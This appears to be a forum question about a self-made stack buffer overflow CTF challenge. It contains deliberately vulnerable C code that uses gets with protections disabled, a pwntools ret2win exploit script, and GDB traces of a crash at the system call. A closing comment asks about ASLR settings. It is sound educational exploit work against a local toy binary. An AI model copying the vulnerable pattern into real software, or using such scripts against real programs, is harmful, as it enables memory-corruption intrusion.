I'm trying to develop a simple buffer overflow CTF challenge inspired by the "Csaw 2016 Quals Warmup" challenge, here. I've managed to replicate the source code:
#include <stdio.h> #include <stdlib.h> int easy(){ system("cat flag.txt"); return 0; } int main() { char target[64]; char input[64]; write(1,"-Warm Up-\n",10); write(1,"WOW: ",4); sprintf(target,"%p\n",easy); write(1,target,9); write(1,"> ",1); gets(input); return 0; }
My current working directory has the flag.txt
file. Compiled the code with GCC using the given line:
gcc sys_call.c -o sys_call -fno-stack-protector -no-pie -z,relro
The given checksec
output is as follows:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Exploiting:
Running the program outputs the following:
~/stack_BOF$ ./sys_call -Warm Up- WOW:0x401196 >INPUT
The address 0x401196
corresponds to the function easy()
which is our target for this challenge, we would need to change the instruction pointer $RIP
to match this value.
I'm using the GDB with the GEF wrapper for dynamic analysis:
...SNIPPIT... 0x0000000000401263 <+175>: call 0x401090 <gets@plt> 0x0000000000401268 <+180>: mov eax,0x0 0x000000000040126d <+185>: leave 0x000000000040126e <+186>: ret End of assembler dump. gef➤
Putting the break point after the gets
call, around the leave
op. would help us see our input in action.
b *main+185
After multiple attempts using the pwn cyclic
tool, I found the offset from our input[]
array to the $RSP
register (which will be used in the ret
operation to set $RIP
)
Here is the exploit script I'm using in python3:
from pwn import * context.log_level = 'debug' # context.log_level = 'critical' context.binary = ELF('./sys_call') context.local(endian='little') target = process('./sys_call') # Extracting the easy() function's address in memory WOW = target.recvline_contains(b'0x').decode().split(':')[1] # Padding of 136 characters, the offset between our input and the stack pointer. payload = cyclic(136) # Packaging the easy() address to 64-bit, little endian payload += p64(int(WOW, 16)) # Saving the payload to a file to try it in GDB with open("payload.tst",'bw') as f: f.write(payload) # Send payload and Receive output target.sendline(payload) target.recvall()
The script's execution outputs a SEGFAULT, which made me think the script did not work; perhaps something is wrong with the offset calculation or the packaging of the address:
[*] '/stack_BOF/sys_call' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Starting local process './sys_call' argv=[b'./sys_call'] : pid 14305 [DEBUG] Received 0x18 bytes: b'-Warm Up-\n' b'WOW:0x401196\n' b'>' [DEBUG] Sent 0x91 bytes: 00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│ 00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│ 00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 │iaaa│jaaa│kaaa│laaa│ 00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61 │maaa│naaa│oaaa│paaa│ 00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 61 │qaaa│raaa│saaa│taaa│ 00000050 75 61 61 61 76 61 61 61 77 61 61 61 78 61 61 61 │uaaa│vaaa│waaa│xaaa│ 00000060 79 61 61 61 7a 61 61 62 62 61 61 62 63 61 61 62 │yaaa│zaab│baab│caab│ 00000070 64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62 │daab│eaab│faab│gaab│ 00000080 68 61 61 62 69 61 61 62 96 11 40 00 00 00 00 00 │haab│iaab│··@·│····│ 00000090 0a │·│ 00000091 [+] Receiving all data: Done (1B) [*] Process './sys_call' stopped with exit code -11 (SIGSEGV) (pid 14305)
Looking at the same payload in GDB, it looks correct for the most part, we wrote the correct address in $RIP
after the execution of the ret
operation.
gef➤ r < payload.tst Starting program: /stack_BOF/sys_call < payload.tst [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". -Warm Up- WOW:0x401196 > Breakpoint 1, 0x000000000040126d in main () ...SNIP... gef➤ ni 0x000000000040126e in main () ...SNIP... → 0x40126e <main+186> ret ↳ 0x401196 <easy+0> endbr64 0x40119a <easy+4> push rbp 0x40119b <easy+5> mov rbp, rsp 0x40119e <easy+8> lea rax, [rip+0xe5f] # 0x402004 0x4011a5 <easy+15> mov rdi, rax 0x4011a8 <easy+18> call 0x401080 <system@plt>
Finally we come to the main point of this thread/question:
If we continue the execution from the previous point, one instruction at a time. We will eventually land on the SIGSEGV as soon as we hit the system call shown below:
gef➤ 0x00000000004011a8 in easy () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000000000402004 → "cat flag.txt" $rbx : 0x0 $rcx : 0x00007ffff7e1aaa0 → 0x00000000fbad2098 $rdx : 0x1 $rsp : 0x00007fffffffdf78 → "haabiaab" $rbp : 0x00007fffffffdf78 → "haabiaab" $rsi : 0x1 $rdi : 0x0000000000402004 → "cat flag.txt" $rip : 0x00000000004011a8 → <easy+18> call 0x401080 <system@plt> $r8 : 0x0 $r9 : 0x0 $r10 : 0x77 $r11 : 0x246 $r12 : 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]" $r13 : 0x00000000004011b4 → <main+0> endbr64 $r14 : 0x0000000000403e18 → 0x0000000000401160 → <__do_global_dtors_aux+0> endbr64 $r15 : 0x00007ffff7ffd040 → 0x00007ffff7ffe2e0 → 0x0000000000000000 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdf78│+0x0000: "haabiaab" ← $rsp, $rbp 0x00007fffffffdf80│+0x0008: 0x0000000000000000 0x00007fffffffdf88│+0x0010: 0x00000000004011b4 → <main+0> endbr64 0x00007fffffffdf90│+0x0018: 0x00000001ffffe070 0x00007fffffffdf98│+0x0020: 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]" 0x00007fffffffdfa0│+0x0028: 0x0000000000000000 0x00007fffffffdfa8│+0x0030: 0x59a68be822d4ea3d 0x00007fffffffdfb0│+0x0038: 0x00007fffffffe088 → 0x00007fffffffe3bd → "/stack_BOF/sys_c[...]" ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40119b <easy+5> mov rbp, rsp 0x40119e <easy+8> lea rax, [rip+0xe5f] # 0x402004 0x4011a5 <easy+15> mov rdi, rax → 0x4011a8 <easy+18> call 0x401080 <system@plt> ↳ 0x401080 <system@plt+0> endbr64 0x401084 <system@plt+4> bnd jmp QWORD PTR [rip+0x2f95] # 0x404020 <[email protected]> 0x40108b <system@plt+11> nop DWORD PTR [rax+rax*1+0x0] 0x401090 <gets@plt+0> endbr64 0x401094 <gets@plt+4> bnd jmp QWORD PTR [rip+0x2f8d] # 0x404028 <[email protected]> 0x40109b <gets@plt+11> nop DWORD PTR [rax+rax*1+0x0] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── system@plt ( $rdi = 0x0000000000402004 → "cat flag.txt", $rsi = 0x0000000000000001, $rdx = 0x0000000000000001 ) ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "sys_call", stopped 0x4011a8 in easy (), reason: SINGLE STEP ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x4011a8 → easy() ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ Program received signal SIGSEGV, Segmentation fault.
The expected output would be the content of the flag.txt
file which is a normal ASCII test file.
flag{test}
I would appreciate some assistance in understanding what is happening and perhaps what I did wrong.
More info:
Distributor ID: Ubuntu Description: Ubuntu 22.04.4 LTS Release: 22.04 Codename: jammy Linux HOSTNAME 6.5.0-27-generic #28~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC x86_64 x86_64 x86_64 GNU/Linux
randomize_va_space
setting in the kernel? That's the one step you have seem to have skipped...